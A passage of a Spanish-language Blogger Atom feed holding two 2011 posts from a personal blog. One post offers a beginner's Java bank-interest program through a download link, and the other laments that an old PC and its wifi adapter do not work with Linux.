scheme="http://www.blogger.com/atom/ns#" term="interes"/><category scheme="http://www.blogger.com/atom/ns#" term="java"/><title type='text'>Programa calcular interes del banco</title><content type='html'>He hecho mis primeros programas de Java. Con ayuda de un curso subvencionado. Iré poniendo estos programas para futura ayuda a otros programadores y referencias propias.&lt;br /&gt;
No esperéis florituras, son los primeros pasos.&lt;br /&gt;
Está bajo licencia de Creative Commons,creo. O sea, que puedes hacer con el programa lo que quieras, siempre citando de quien es.&lt;br /&gt;
&lt;br /&gt;
http://www.megaupload.com/?d=3EYTRMIT</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/8738339130726139977/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2011/08/programa-calcular-interes-del-banco.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/8738339130726139977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/8738339130726139977'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2011/08/programa-calcular-interes-del-banco.html' title='Programa calcular interes del banco'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-3046533073805459585</id><published>2011-06-20T09:27:00.000-07:00</published><updated>2011-06-20T09:27:43.862-07:00</updated><title type='text'>No hay nada que hacer</title><content type='html'>Tengo un ordenador de hace 7 años. con una controladora Pci-Sata. no puedo arrancar desde este disco duro. no puedo instalar ningun linux en este. me tengo que conformar con XP &amp;nbsp;y 80 gb.&lt;br /&gt;
Linux , cuando lo uso, no tiene internet porque el wifi no lo entiende.&lt;br /&gt;
Debo instalar ndiswrapper, pero no lo puedo descargar de internet, obvio.&lt;br /&gt;
O leerme bien las instrucciones del manual de la sveon snt1020. se que en funciona en linux porque backtrack 5 descifra claves con aircrack y sus secuaces.</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/3046533073805459585/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2011/06/no-hay-nada-que-hacer.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/3046533073805459585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/3046533073805459585'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2011/06/no-hay-nada-que-hacer.html' title='No hay nada que hacer'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>